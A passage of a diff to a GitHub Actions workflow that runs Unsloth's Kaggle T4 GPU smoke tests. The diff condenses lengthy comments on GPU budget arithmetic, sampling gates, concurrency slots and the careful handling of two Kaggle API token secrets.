-# session. Longest first, because the longest leg is what sets the makespan and
-# a greedy schedule cannot balance around one it picks up last.
-#
-# A FIFTH payload rides the same kernel and is not on that queue: the Studio GPU
-# smoke, packed in by --with-studio and split into two halves. Its install --
-# clone, pip, a Playwright browser -- takes no card at all and runs from t=0
-# beside the training legs, so it finishes at ~400s inside a 646.3s card queue
-# and costs nothing. Its GPU half then waits for the queue to DRAIN and takes
-# both cards, because Studio loads a model and serves it rather than sharing a
-# card with a training run. Measured makespan 763.3s against 646.3s without it.
-#
-# The install half is a gate as well as a lane: if it fails, the GPU half is
-# skipped rather than run against a Studio that is not there, and the skip is
-# reported rather than silent.
-#
-# This does NOT replace kaggle-t4-studio-gpu-ci.yml, whose paths filter and
-# budget are untouched. A studio/** change still gets a dedicated run there;
-# this is the same payload answering for the events THIS workflow already
-# triggered on.
-#
-# This was two kernels of two, one leg per T4, and the reason it is one kernel
-# is NOT quota: a session bills its wall clock once rather than per card, so the
-# two shapes cost within a few percent of each other. It is that two kernels
-# took BOTH of the account's concurrent sessions and locked
-# kaggle-t4-studio-gpu-ci.yml, which shares the account, out entirely. One
-# kernel leaves the second session for Unsloth.
-#
-# A fifth leg, `grpo` (Qwen3-4B through a vLLM engine), is written and NOT
-# wired: its vLLM standby path hits an intermittent illegal memory access on
-# Turing, one session in three. The measurements are on legs.UNWIRED.
-#
-# **control and canary are one instrument, not two tests.** Same payload, seed,
-# dataset and step count on the two cards of one session, differing ONLY in the
-# installed transformers, trl, peft, accelerate and bitsandbytes. So:
-#
-# canary red, control green -> a library RELEASE broke Unsloth, and the
-# job summary already names the versions that differ between the two
-# legs. This is the signal the whole workflow is built around.
-# both red -> not a version bump. The base image, the
-# model download, Kaggle, or Unsloth's own code.
-# control red, canary green -> the pins stopped resolving. A maintenance
-# signal for tests/kaggle/t4_smoke/pins/control.txt, not a regression.
-#
-# Determinism and the committed reference band apply to the CONTROL leg only.
-# Bitwise agreement across library versions is not achievable and is not
-# claimed, so the canary asserts the version-independent things: the canary
-# string, that the optimizer applied updates, that two fresh processes agreed
-# bitwise WITH EACH OTHER, and that nothing raised.
-#
-# The band check compares against a reference captured at ONE step count and
-# fails rather than comparing across counts, the alternative being a green check
-# against a curve the run has nothing to do with. The committed reference is a
-# 10-step trace and max_steps is 10, so it applies as committed.
-#
-# 10 steps is not arbitrary and shortening it is not free. With no bf16 this
-# runs fp16 with a dynamic GradScaler that starts at 65536, halves on each
-# overflow and skips the step it overflowed on, and the reference records
-# grad_norm NaN at steps 1, 2 and 3 and a finite value from step 4. So a 3-step
-# run applies ZERO optimizer updates, never learns the canary and asserts
-# nothing about training; anything under about five steps needs
-# --init-loss-scale AND a reference recaptured with it. A dispatch that asks for
-# one is stood down before the kernels are pushed rather than reported red after
-# they are paid for: check_steps.py measures that floor from this reference and
-# the payload's own optimisation checks.
-#
# ---------------------------------------------------------------------
-# BUDGET. Read this before changing any trigger.
# ---------------------------------------------------------------------
-# CI holds TWO Kaggle accounts, and each has its own WEEKLY accelerator budget
-# (60h and 30h at time of writing; Kaggle's documented baseline is 30h and any
-# surplus is a discretionary "floating" allowance that can be withdrawn). A run
-# lands on one of them, drawn in proportion to those weekly totals, so the
-# bigger account takes twice the traffic. The totals are read from Kaggle's own
-# quota API each run rather than written down here, so the split follows a plan
-# that changes without this comment going stale. The arithmetic below is per
-# ACCOUNT: two accounts is roughly 1.5x the hours and, because Kaggle's
-# 2-session cap is also per account, twice the concurrency. This
-# 50 of those 60 go to CI and the last 10 are held for human use. That 50 is
-# SHARED with kaggle-t4-studio-gpu-ci.yml, which is the expensive leg: ~0.75
-# GPU-h per launch against this one's ~0.25, on a larger eligible event stream.
-# The split is Unsloth 35, this leg 15, and the reserves below are what enforce
-# the priority rather than a comment: this leg stands down at 40h spent
-# account-wide, Unsloth runs on to 50h. A change to either rate is a change to
-# both budget blocks.
-#
-# This workflow is allotted 15 GPU-h/week of it, held in four independent layers:
-#
-# 1. paths filters, which turn a four-figure event count into a two-figure one.
-# 2. A sampling gate (.github/scripts/kaggle_t4_ci/gate.py), derived from the
-# run id so a re-run cannot reroll the dice.
-# 3. A quota floor: the gate reads Kaggle's accelerator-quota API and refuses
-# to start unless what remains covers this run's worst case PLUS a 20h
-# reserve. Against a 60h account that reserve makes the 15h allowance a
-# HARD ceiling rather than an average, whatever the sampling rate does.
-# It is 10 higher than the Unsloth leg's 10 on purpose: the two share one
-# account and the cheap leg is the one that should yield the tail of the
-# week to the expensive one rather than race it for the same hours.
-# 4. A concurrency check. Kaggle caps concurrent batch GPU kernels at 2 per
-# ACCOUNT; this job uses ONE of them and runs only when the account is
-# otherwise idle, since one kernel belonging to anyone else stands it down
-# entirely. See ALLOWED_IN_FLIGHT_FOREIGN_KERNELS in gate.py. The other
-# slot is what kaggle-t4-studio-gpu-ci.yml pushes into, which is why the
-# two workflows no longer share a concurrency group.
-#
-# ARITHMETIC, recomputed from live numbers on 2026-08-11: measured on
-# unslothai/unsloth over the preceding 7 days or on real Kaggle sessions, none
-# of it estimated.
-#
-# commits on main 479
-# ... touching the paths filter below 45 (9.4%)
-# measured BEFORE pyproject.toml joined the filter. One rarely touched
-# file, so the eligible counts below move a little rather than a lot, and
-# the 20h reserve holds either way.
-# pull requests opened 567
-# ... touching the paths filter 7.5% (9 of a 120 sample)
-# = pull requests that can trigger this 43
-# commits carried by those, measured 4.33 each
-#
-# ELIGIBLE INVOCATIONS PER WEEK
-# push to main 45
-# pull_request opened 43
-# pull_request synchronize 0 .. 143 (one per push after
-# the first; bounded
-# above by the
-# commit count)
-# TOTAL 88 .. 231
-#
-# COST OF ONE INVOCATION. One kernel, billing its wall clock ONCE rather than
-# per card at almost exactly 1 GPU-h per hour, so the second T4 is free while
-# both are busy and the tail where only one is busy costs no more than the
-# rest. Per-leg durations measured on run 32607621452: gptoss 384.1s, frontier
-# 312.2s, canary 265.3s, control 262.2s. Packed longest-first across two cards
-# that is 384.1 + 262.2 = 646.3s on one card against 312.2 + 265.3 = 577.5s on
-# the other, so one kernel of four legs measures ~0.18 h.
-#
-# The Studio payload rides the same kernel (--with-studio below) and adds
-# ~117s to that, not the ~0.75 h it costs standalone. Its install is CPU work
+# Red only for a failed payload on a T4 or an exhausted weekly quota; every other outcome skips.
# -- clone, pip, a Playwright browser download -- so it runs on a lane of its
-# own from t=0, finishes at ~400s against a 646.3s card queue, and is
-# therefore FULLY hidden. What is left is its GPU half at ~200s, which starts
-# once both cards are free. 646.3 + 117 = 763.3s, or ~0.21 h:
-# one kernel, four legs 0.18 h
-# + the Studio payload, install hidden +0.03 h
-# TOTAL, expected ~0.25 h (rounded up)
-# The two-kernel shape this replaced measured 0.10 h + 0.13 h = 0.23 h, so
-# consolidating is roughly quota-neutral; the gain is the freed session, not
-# the hours. The 0.25 h envelope is unchanged and still an
-# upper bound: 0.21 h measured against it. Every figure below is derived from
-# that envelope, so leaving it alone is what keeps the sampling rate, the
-# expected spend and the reserve below true without re-deriving all of them.
-#
-# Note what packing Studio in does NOT do: it does not widen the paths filter
-# below. Studio's own thirteen paths stay on kaggle-t4-studio-gpu-ci.yml,
-# which still runs standalone for a studio/** change and still owns the 35h
-# share. The payload here is EXTRA coverage on events this workflow already
-# answered -- an unsloth/** change now also says whether Studio still
-# installs and serves on a T4 -- bought for 0.03 h because the install had
-# nothing to contend with.
-#
-# SAMPLING RATE, solved at the pessimistic end of the eligible range and
-# targeting 9h rather than the full 15, so a busy week does not spend the
-# allowance before the quota floor intervenes:
-# 231 x r x 0.25 h = 9 h -> r = 0.156, set to 15% (--percent 15)
-#
-# EXPECTED SPEND at 15%:
-# quiet week 88 x 0.15 x 0.25 = 3.3 GPU-h (13 launches)
-# busy week 231 x 0.15 x 0.25 = 8.7 GPU-h (35 launches)
-# against the 15 GPU-h allowance: 5% to 14% of the 60h account.
-#
-# An earlier revision of this block ran 40% for ~23 GPU-h/week, sized against
-# a 40h allowance from before the Unsloth leg existed. Two legs at ~23 each is
-# 46 of the 50 CI is allowed, with the whole margin gone on the cheaper one.
-# 15% is that rate re-solved against the 15h share, not a throttle applied to
-# a rate that was still correct.
-#
-# The rate is set for THIS payload set and does not survive a change to it:
-# wiring the grpo leg would roughly double kernel 2 and put a busy week over
-# the allowance, so that change comes with a recomputation of this block
-# rather than one line in legs.KERNELS.
-#
-# WORST CASE, one invocation wedging its way through every retry and every
-# deletion the launcher can pay for, is 8 GPU-h: derived from launch.py's own
-# constants at --budget-hours below, and far above the 0.25h a run costs. It
-# is what the gate RESERVES, not what CI is expected to spend. Layer 3 is the
-# control: the 20h reserve stops this leg at 40h spent account-wide, whatever
-# the arithmetic above got wrong. The sampling rate sets the EXPECTED spend;
-# the reserve sets the
-# ceiling.
-#
# ---------------------------------------------------------------------
-# FAILURE SEMANTICS
# ---------------------------------------------------------------------
-# Red for two things and nothing else:
-#
-# 1. a payload ran on a T4 and its assertions failed.
-# 2. the account's WEEKLY accelerator quota is exhausted. The `gate` job says
-# so in one API call, before the concurrency survey and before any kernel
-# is pushed, and its message says the hours come back on Kaggle's refresh
-# and the reader can ignore the failure. Nothing downstream swallows it:
-# the Decide step has no continue-on-error, and t4-smoke needs this job.
-#
-# Every other outcome (not sampled, wrong label, no credentials, quota
-# UNREADABLE, account busy, push throttled, kernel died on Kaggle's side,
-# evidence would not download) is a SKIP or a warning and exits 0, nothing
-# having been learned about the code. The recheck inside t4-smoke passes
-# --soft-fail, so a run already approved that loses the hours while queueing for
-# the account slot stands down green rather than going red for a second time.
-#
-# This job is NOT intended to be a required check: it runs on a minority of
-# commits by design, so requiring it would block every commit it declined to run
-# on.
-#
# ---------------------------------------------------------------------
-# CREDENTIALS
# ---------------------------------------------------------------------
-# KAGGLE_API_TOKEN and KAGGLE_API_TOKEN_2 hold one Kaggle account each. The
-# GATE is the only place both are visible: it weighs them, picks one, and
-# publishes the account's NUMBER, USERNAME and SECRET NAME -- never a token,
-# which would put a credential in a job output. Every later step receives
-# exactly the chosen one, as KAGGLE_API_TOKEN, selected by indexing the secrets
-# context with that name.
-#
-# Neither is ever echoed, written to an output or artifact, or travels to the
-# Kaggle kernel, which receives the notebook and nothing else. Fork pull
-# requests receive no secret, and the gate skips cleanly when none is present.
-#
-# WHERE THE TRUST BOUNDARY ACTUALLY IS, since it is easy to draw it in the wrong
-# place: a SAME-REPOSITORY pull request does receive the secret, and on
-# `pull_request` GitHub runs the workflow file from the merge ref, so the YAML in
-# a pull request is the YAML that executes. Running the gate and launcher from a
-# trusted base-branch copy would protect nothing, since whoever can edit gate.py
-# in a pull request can edit this file too.
-#
-# Nor is it a hole this workflow opens. Per GitHub's hardening guidance, "Any
-# user with write access to your repository has read access to all secrets
-# configured in your repository": a push to any branch runs a workflow with the
-# repository's secrets, no pull request needed. The boundary is repository write
-# access, the same for every secret here.
-#
-# If that blast radius is ever judged too wide for this token, the mechanism is
-# an ENVIRONMENT secret with required reviewers (plus deleting the
-# repository-level copy, or the environment buys nothing), not a trusted copy of
-# a script. The cost is a human approval on every sampled run, which is why it
-# is not done here.
name: Kaggle T4 Notebook CI
on:
pull_request:
- # `labeled` is NOT a GitHub default (those are opened, synchronize and
- # reopened), so without it the kaggle-t4-ci opt-in the gate advertises does
- # nothing until an unrelated event fires. The gate reads the label off the
- # event payload, so the label has to start a run of its own.
+ # `labeled` is not a default type; the opt-in label must start a run of its own.
types: [opened, synchronize, reopened, labeled]
paths:
- 'unsloth/**'
- 'tests/kaggle/**'
- '.github/scripts/kaggle_t4_ci/**'
- '.github/workflows/kaggle-t4-notebook-ci.yml'
- # When the kernel is built with Studio, the gated t4-smoke job runs
- # kaggle_studio_ci/collect_evidence.py and kaggle_studio_ci/report.py by path.
+ # The gated t4-smoke job runs these scripts by path when the kernel carries Studio.
- '.github/scripts/kaggle_studio_ci/**'
- # The payloads install the commit under test as a distribution, so the
- # file saying how it is built and what it needs is part of what this
- # workflow tests. BUDGET.md counted it as a watched path already.
+ # The payloads install the commit under test as a distribution.
- 'pyproject.toml'
push:
branches: [main]
@@ -295,19 +58,11 @@ on:
- 'tests/kaggle/**'
- '.github/scripts/kaggle_t4_ci/**'
- '.github/workflows/kaggle-t4-notebook-ci.yml'
- # When the kernel is built with Studio, the gated t4-smoke job runs
- # kaggle_studio_ci/collect_evidence.py and kaggle_studio_ci/report.py by path.
+ # The gated t4-smoke job runs these scripts by path when the kernel carries Studio.
- '.github/scripts/kaggle_studio_ci/**'
- 'pyproject.toml'
- # NIGHTLY, for the legs that cannot be per-PR. The GRPO leg is the whole
- # reason this trigger exists: measured over nine T4 sessions it hits an
- # intermittent illegal memory access in vLLM's standby sleep on Turing in
- # FOUR of them. A 44% red in front of every PR, for a race no reader can act
- # on, is how a check gets switched off; at nightly cadence a clean run still
- # arrives most days and a red one costs nobody a merge.
- #
- # 03:17 rather than 03:00: every scheduled workflow on GitHub asks for the
- # hour mark, and this one has no reason to join that queue.
+ # Nightly for legs too flaky to gate PRs (grpo's intermittent vLLM standby crash on Turing).
+ # Off the hour to avoid the scheduler peak.
schedule:
- cron: '17 3 * * *'
workflow_dispatch:
@@ -349,23 +104,8 @@ on:
permissions:
contents: read
-# Per-ref, like every other workflow here, but NOT latest-only. The repo idiom
-# `cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}` is wrong here: a
-# cancelled runner cannot stop the Kaggle kernels it already pushed, and an
-# orphaned kernel bills quota to its own ceiling with nobody left to read the
-# result. Superseded runs that have not STARTED are still discarded (GitHub
-# keeps only the most recent pending run per group), which is where the saving
-# was anyway; only a run already spending is left alone.
-#
-# The slot belongs in THIS group too, not only in the job's. GitHub keeps at
-# most one PENDING run per group and DISCARDS the older one when a newer run
-# queues, so two dispatches on the same ref that were meant to hold Kaggle's
-# two session slots at once instead cancel each other before either starts.
-# That is not hypothetical: it killed run 32674255736, and a later A/B had to
-# be run serially because a single push into this group would have discarded
-# the pending arm. The job-level group carries the slot as well, and it is the
-# one that actually serialises same-slot work; this one only has to stop
-# distinct slots being collapsed into a single queue position.
+# Not latest-only: a cancelled runner cannot stop kernels it already pushed. The slot is in this
+# group too, or two dispatches meant for both session slots would discard each other while pending.
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ inputs.slot || '1' }}
cancel-in-progress: false
@@ -373,27 +113,17 @@ concurrency:
jobs:
gate:
name: gate
- # Fork pull requests never receive the Kaggle secrets, so this job could
- # only reach "no credential is available to this context", a runner spent to
- # learn nothing. The gate handles the absent token cleanly anyway (it skips
- # and exits 0); this simply does not start.
+ # Forks never receive the Kaggle secrets.
if: github.event.pull_request.head.repo.fork != true
runs-on: ubuntu-latest
- # 15, the worst case with two accounts: each one's authentication, username
- # and quota read at the socket ceiling, one shared survey budget, and the
- # call still in flight when it expires. The suite asserts the arithmetic.
+ # Worst case for two accounts at the socket ceiling; the suite asserts this arithmetic.
timeout-minutes: 15
outputs:
should_run: ${{ steps.decide.outputs.should_run }}
reason: ${{ steps.decide.outputs.reason }}
- # WHICH account won the weighted draw. This is the only job that sees
- # both tokens; everything downstream is handed exactly one, chosen by
- # these outputs. No token is ever an output -- `matrix` carries the SECRET
- # NAME, and the GPU job indexes the secrets context with it.
+ # Carries the SECRET NAME so the GPU job can index secrets, never a token.
account: ${{ steps.decide.outputs.account }}
account_user: ${{ steps.decide.outputs.account_user }}
- # The commit under test, resolved once: the GPU job tests THIS and never
- # re-resolves a moving ref.
head_sha: ${{ steps.ref.outputs.head_sha }}
matrix: ${{ steps.decide.outputs.matrix }}
steps:
@@ -410,79 +140,16 @@ jobs:
with:
python-version: '3.12'
- # The version is load bearing: everything this workflow asks the client to
- # do has to EXIST in the pin.
- #
- # * `KAGGLE_API_TOKEN` is the only credential here, and 1.7.4.5's
- # `authenticate()` refuses it, demanding a kaggle.json nothing writes
- # and raising before a call is made.
- # * `kaggle kernels delete` landed in 1.7.5.0 (Kaggle/kaggle-cli#762),
- # first released in 1.8.0. On 1.7.4.5 argparse answers it with
- # `invalid choice: 'delete'` and exit 2, so the cleanup that is this
- # workflow's budget control never sent a request at all.
- # * `quota_view()`, which gate.py reads remaining accelerator hours from,
- # exists only on 2.x.
- #
- # The client exits nonzero on a failed call, which is what launch.py reads
- # to decide whether a kernel is really gone.
+ # kaggle 2.x is required: 1.7.4.5 cannot authenticate with KAGGLE_API_TOKEN, lacks `kernels
+ # delete` (the budget control) and quota_view() (read by gate.py).
- name: Install the Kaggle client
run: python -m pip install --quiet 'kaggle==2.2.4'
- # budget-hours is the worst case ONE invocation can cost, derived from the
- # LAUNCHER's bound rather than the ceiling passed to Kaggle at push time.
- # That ceiling has been observed not to stop a wedged kernel (see the note
- # by --kernel-timeout-sec below), so what ends a session is launch.py
- # deleting it at its own deadline, now measured from before the first
- # push.
- #
- # It is the SAME bound the job deadline below is derived from, read once
- # from launch.py's constants: the pushes (each retry discarding the
- # previous attempt's slug), the shared polling deadline, the evidence
- # budget and release() come to ~13800s of wall clock. A session bills
- # while it is up, and Kaggle runs at most MAX_CONCURRENT_GPU_KERNELS of
- # them at a time for this account, so the hours one invocation can bill
- # are bounded by that many sessions billing for the whole of it:
- #
- # 2 x 13800s = 27600s = 7.7 GPU-h, rounded up to 8
- #
- # "2 x --max-wait" was the previous derivation and it stopped at the
- # polling: it counted neither the push retries (up to 146 min, and a
- # kernel Kaggle accepted bills through every one of them) nor the
- # evidence phase nor release() (up to 74 min of deletes). A run that
- # spent those could bill past a reservation of 4h and take the 20h left
- # for humans down with it, which is the one thing the reserve promises
- # cannot happen. The harness suite recomputes this from launch.py rather
- # than checking the number, so lowering PUSH_ATTEMPTS or the delete
- # ceilings lowers what has to be reserved here.
- #
- # reserve-hours turns the 15 GPU-h/week allowance into a hard ceiling: the
- # account budget is 60h, so refusing to start below 20h remaining means
- # this leg can never have spent more than 40h in a week, whatever the
- # sampling estimate above got wrong. It is deliberately 10 above the
- # Unsloth leg's 10, which is what makes this the leg that yields: the
- # lower of the two reserves is what implements "CI may use up to 50 of
- # the 60 hours". Raise it to throttle harder, but not above roughly 45 or
- # it never runs at all on a week with any other usage.
- #
- # The event ACTION and the label just applied go in too, and are what
- # stops the `labeled` trigger multiplying runs: it fires on EVERY label,
- # each fresh run is a fresh sampling draw, and once kaggle-t4-ci is on the
- # pull request every later label sees it in the list and FORCES a run, so
- # a couple of bot labels cost more sessions than the whole estimate above
- # budgets for. The gate stands a `labeled` run down unless the label that
- # started it is the opt-in one.
- #
- # Label names and the raw label list travel through the environment rather
- # than being interpolated into the shell, for the same reason the
- # stale-approval warning below does: they are free text set by anyone with
- # write access.
- # THE COMMIT THE GPU JOB WILL TEST, which is not always this workflow's
- # own: a dispatch naming `unsloth_ref` tests that ref. Keyed on github.sha
- # instead, the in-flight check would look for the wrong kernel, and once
- # the default branch moved two runs of one requested ref could be drawn
- # onto different accounts and never see each other. A ref that does not
- # resolve leaves the key EMPTY, so the draw falls back to the run id and
- # the GPU job stands down on the same ref moments later.
+ # budget-hours is the worst case of ONE invocation from launch.py's constants (2 sessions x ~13800s,
+ # ~8 GPU-h); the harness suite recomputes it. reserve-hours 20 caps this leg at 40h spent and is
+ # deliberately above the Unsloth leg's 10. The event action and label stop non-opt-in labels from
+ # forcing runs; label text goes through env, never the shell.
+ # Keyed on the commit under test (not github.sha) so dispatches of one ref collide in the in-flight check.
- name: Name the commit under test
id: ref
env:
@@ -516,10 +183,7 @@ jobs:
- name: Decide
id: decide
env:
- # BOTH accounts, and this is the only step anywhere that gets both.
- # The gate reads each one's weekly total to weight the draw and each
- # one's remaining hours to decide whether it can take the run; every
- # step after this is handed exactly the one it chose.
+ # The only step that gets both tokens.
KAGGLE_API_TOKEN: ${{ secrets.KAGGLE_API_TOKEN }}
KAGGLE_API_TOKEN_2: ${{ secrets.KAGGLE_API_TOKEN_2 }}
PR_LABELS: ${{ join(github.event.pull_request.labels.*.name, ',') }}
@@ -545,138 +209,29 @@ jobs:
needs: gate
if: needs.gate.outputs.should_run == 'true'
runs-on: ubuntu-latest
- # `statuses: write` is what makes the dispatch honest: this job no longer
- # waits, so it cannot BE the check that says the GPU tests passed. It posts
- # that verdict against the sha the result belongs to, which need not be this
- # run's; the collection step below finishes earlier commits' kernels.
+ # Posts the verdict as a commit status, possibly for an earlier commit's collected kernel.
permissions:
contents: read
statuses: write
- # A ONE-ELEMENT matrix, whose only job is to carry the account the gate
- # chose into a context that `secrets[...]` can be indexed with.
- #
- # It cannot hold the token, and must not: `secrets` is unavailable while the
- # strategy is expanded, and a token in a job output would be a token in a
- # place GitHub redacts by pattern rather than by promise. It holds the
- # SECRET NAME instead.
- #
- # The obvious alternative, `${{ cond && secrets.A || secrets.B }}`, is the
- # trap this shape exists to avoid: a missing or empty first secret makes the
- # `&&` falsy and the `||` hands over the OTHER account's token, while every
- # output beside it still names the first account. That run spends one
- # account's quota, reports the other's, and files kernels the cleanup looks
- # for in the wrong place. Indexing makes the mismatch unrepresentable.
+ # Holds the SECRET NAME, not the token: `secrets` is unavailable at strategy expansion, and a
+ # `cond && A || B` ternary silently yields the other account's token when the first is empty.
strategy:
matrix: ${{ fromJSON(needs.gate.outputs.matrix) }}
- # THIS DEADLINE MUST EXCEED THE LAUNCHER'S WORST CASE with headroom, which
- # is stronger than "long enough for a normal run". Nothing else stops a
- # pushed kernel: killing the runner here takes launch.py's finish() ->
- # release() with it, and a kernel nobody deletes bills quota to its own
- # ceiling (Kaggle's push-time timeout has been measured NOT to stop a wedged
- # one).
- #
- # The launcher's worst case, from launch.py's own constants. DELETING is
- # what costs, and it is paid on two paths rather than one: push() discards
- # the previous attempt's slug before each retry, and release() reconciles
- # every slug every push filed. Each of those deletes is DELETE_ATTEMPTS
- # tries at DELETE_SUBPROCESS_TIMEOUT_SEC plus its backoffs, not one call:
- # one delete 3 x 180s + backoffs 5 + 10 = 555s
- # push, per notebook PUSH_ATTEMPTS 4 x subprocess timeout 600s
- # + PUSH_BACKOFF_SEC backoffs 45 + 90 + 180
- # + 3 _discard()s at 555s
- # = 4380s
- # two notebooks, pushed sequentially 8760s (146 min)
- # polling, which shares ONE deadline started before the first push,
- # so it does not stack on top of them <=5400s (--max-wait
- # below, minus the
- # pushes)
- # evidence collection, ALL kernels together, which is why it does not
- # scale with the kernel count: launch.py starts ONE budget before the
- # first collection and clamps every listing page and download to what is
- # left of it EVIDENCE_BUDGET_SEC = 600s
- # (this term used to be "300s per kernel", a number
- # no code enforced: the listing alone could walk
- # OUTPUT_PAGE_LIMIT pages at the 120s socket
- # ceiling, 2400s for one kernel, and the runner was
- # then killed before release() deleted anything)
- # release(): every slug each push FILED, so up to PUSH_ATTEMPTS
- # deletes per kernel at 555s <=4440s
+ # MUST EXCEED the launcher's worst case (~13800s from launch.py's constants: push retries with
+ # discards, polling, evidence budget, release()). Killing the runner skips release(), and Kaggle's
+ # push-time timeout does not stop a wedged kernel. The launcher also guards via --deadline-epoch;
+ # the harness suite recomputes this relation.
# ----------------------------------------------------------------
- # total max(8760, 5400) + 5040 = ~13800s
- # (~230 min)
- #
- # 260 leaves ~30 min for the steps before the launcher (checkout, the CPU
- # wheel, the harness suite) and is not slack to trim: the previous 200
- # counted one delete per slug and none of the discards, so a wedged run
- # could be killed DURING release() and orphan the kernels this deadline
- # exists to get deleted. A normal run is ~15 min, so this only fires if the
- # launcher wedged; lower the launcher's wait, PUSH_ATTEMPTS or the delete
- # ceilings before lowering it, and the harness suite recomputes the relation
- # either way.
- #
- # THAT ~30 MIN IS AN ALLOWANCE, NOT A LIMIT, and nothing above enforces it:
- # a checkout, a pip install off a slow index and the harness suite have no
- # cumulative deadline of their own, so a slow setup could eat into the
- # launcher's window and leave it to be killed mid-release() exactly as the
- # 200 did. So the launcher is handed this deadline (--deadline-epoch below)
- # and refuses to push unless its whole worst case still fits before it. This
- # number bounds how long a wedged run holds a runner; the guard is what
- # keeps the promise.
timeout-minutes: 260
- # Deliberately NOT keyed on the ref: the Kaggle account is one global
- # resource and two runs of THIS workflow on different branches must not
- # overlap. cancel-in-progress is false because a cancelled run cannot stop
- # the kernels it already pushed, and an orphaned kernel burns quota to its
- # own ceiling with nobody watching.
- #
- # The group is per WORKFLOW now, where it used to be one string shared with
- # kaggle-t4-studio-gpu-ci.yml. Sharing it was correct while this job pushed
- # TWO kernels: that took both of the account's concurrent sessions, so
- # Unsloth had to queue rather than race the cap and lose a push. This job now
- # packs every leg into one kernel and holds one session, which leaves the
- # second for Unsloth -- and a shared group would keep Unsloth locked out of a
- # seat that is now free. Measured before the change: Unsloth's run
- # 32607617804 sat queued about 40 minutes behind notebook run 32607621452.
- #
- # This only stays safe while each workflow pushes ONE kernel. Two workflows
- # x one kernel is exactly Kaggle's 2-session cap PER ACCOUNT, with no
- # headroom, so the capacity handling on the push path is load bearing rather
- # than defensive.
- #
+ # Not keyed on the ref: the Kaggle account is global. One kernel here plus one Studio kernel is
+ # exactly Kaggle's 2-session cap per account, so each workflow must keep pushing ONE kernel.
concurrency:
- # SLOTTED AS WELL AS PER-ACCOUNT, because the two answer different
- # halves of the same cap and neither is redundant.
- #
- # A Kaggle account allows 2 concurrent GPU sessions and this job takes
- # one, so the cap has to be 2 and GitHub concurrency only offers 1 per
- # group. A single group therefore serialised everything -- and worse than
- # serialised: only ONE run may be PENDING in a group, so a second queued
- # run CANCELS the first rather than queueing behind it. That is what
- # killed run 32674255736, and it makes an A/B impossible to run at all.
- # Two slots, chosen explicitly by the dispatcher, is that mechanism. It is
- # bounded by construction (the input offers 1 or 2 and nothing else), so
- # one account can never be asked for a third session, and two dispatches
- # naming different slots genuinely run side by side. Everything that is
- # not a dispatch has an empty input and lands in slot 1.
- #
- # The ACCOUNT half is what makes a second account worth having. Without it
- # every run queues behind every other run whichever account it would
- # spend, and the extra hours sit unused. With both, the account gets its
- # own pair of slots: 2 accounts x 2 slots, still Kaggle's 2 per account.
- #
- # `needs` is available here and `secrets` is not, which is the other
- # reason the gate publishes an account NUMBER rather than a credential.
+ # Slotted and per account: a group allows one runner and only one PENDING run (a second cancels
+ # it), while an account allows 2 sessions. The slot input is 1 or 2 only.
group: kaggle-t4-account-${{ needs.gate.outputs.account }}-notebook-${{ inputs.slot || '1' }}
cancel-in-progress: false
steps:
- # FIRST, ahead of even the audit hardening, and it is an `echo` so there
- # is nothing for the hardening to audit. The launcher stands down rather
- # than push kernels it may not live long enough to delete, and it decides
- # that by comparing its own worst case against what is left of the
- # deadline below. That subtraction needs the moment the job's clock
- # started: taken any later, the deadline it computes sits AFTER the real
- # one and the guard reads optimistic, which is the one direction that
- # costs quota.
+ # FIRST: the launcher's deadline guard needs the true job start, or it reads optimistic.
- name: Record when the job started
run: echo "JOB_START_EPOCH=$(date +%s)" >> "$GITHUB_ENV"
@@ -685,12 +240,7 @@ jobs:
with:
egress-policy: audit
- # ONE SNAPSHOT, harness and package alike. The default checkout for a
- # pull_request is GitHub's synthetic merge revision while the kernels
- # install the PR head, and if the base branch moved since the branch point
- # those are different trees, so the run would report on a combination of
- # payload scripts, reference and legs.py that exists nowhere. Checking out
- # the head SHA the launcher installs keeps the two in step.
+ # Check out the head SHA the kernels install, not the synthetic merge ref, so harness and package match.
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
ref: ${{ github.event.pull_request.head.sha || github.sha }}
@@ -700,98 +250,25 @@ jobs:
with:
python-version: '3.12'
- # The version is load bearing: everything this workflow asks the client to
- # do has to EXIST in the pin.
- #
- # * `KAGGLE_API_TOKEN` is the only credential here, and 1.7.4.5's
- # `authenticate()` refuses it, demanding a kaggle.json nothing writes
- # and raising before a call is made.
- # * `kaggle kernels delete` landed in 1.7.5.0 (Kaggle/kaggle-cli#762),
- # first released in 1.8.0. On 1.7.4.5 argparse answers it with
- # `invalid choice: 'delete'` and exit 2, so the cleanup that is this
- # workflow's budget control never sent a request at all.
- # * `quota_view()`, which gate.py reads remaining accelerator hours from,
- # exists only on 2.x.
- #
- # The client exits nonzero on a failed call, which is what launch.py reads
- # to decide whether a kernel is really gone.
+ # kaggle 2.x is required: 1.7.4.5 cannot authenticate with KAGGLE_API_TOKEN, lacks `kernels
+ # delete` (the budget control) and quota_view() (read by gate.py).
- name: Install the Kaggle client
run: python -m pip install --quiet 'kaggle==2.2.4'
- # BEFORE anything is built or pushed. The suites are CPU-only and run in
- # under a minute, parsing every generated cell and checking the leg
- # wiring, the report verdicts, the payload's pass/fail rules, the pin
- # handling and this file's trigger, budget and timeout wiring. The root
- # pyproject.toml sets testpaths = ["tests/security"], so a bare pytest
- # never collects them and no other workflow runs them: without this step a
- # broken harness is discovered forty minutes into a Kaggle session, having
- # spent the quota to find out.
- #
- # The whole DIRECTORY, not one file: naming a file is how the two suites
- # added after it (the transport and payload-assertion tests, covering
- # report extraction, the reference checks and the leg isolation) ended up
- # collected by nothing at all.
- #
- # torch from the CPU index and transformers WITHOUT it: the payload modules
- # the suites import need both to import at all, and the CPU wheel is a
- # minute against a session that costs quota. peft is here for the saved
- # adapter checks, which ask PEFT itself whether the written
- # adapter_config.json can be rebuilt into an adapter -- without it those
- # tests importorskip, and a skipped check is one that cannot fail.
- # Measured in a bare venv with exactly these four: 345 passed.
- #
- # CPU torch goes FIRST, before anything that depends on torch. pip "prefers
- # to leave the installed version as-is unless --upgrade is specified"
- # (pip.pypa.io/en/stable/cli/pip_install), so peft installed first pulls
- # the default-index CUDA torch to satisfy its own dependency and the
- # CPU-index line that follows then finds the requirement already satisfied
- # and installs nothing: the multi-gigabyte CUDA set is downloaded onto the
- # runner, and the reordering costs nothing. version-compat-ci.yml orders it
- # this way for the same reason.
- #
- # Then the ordering is CHECKED rather than trusted, because it is invisible
- # when it goes wrong: a CUDA build here still passes the suites, just after
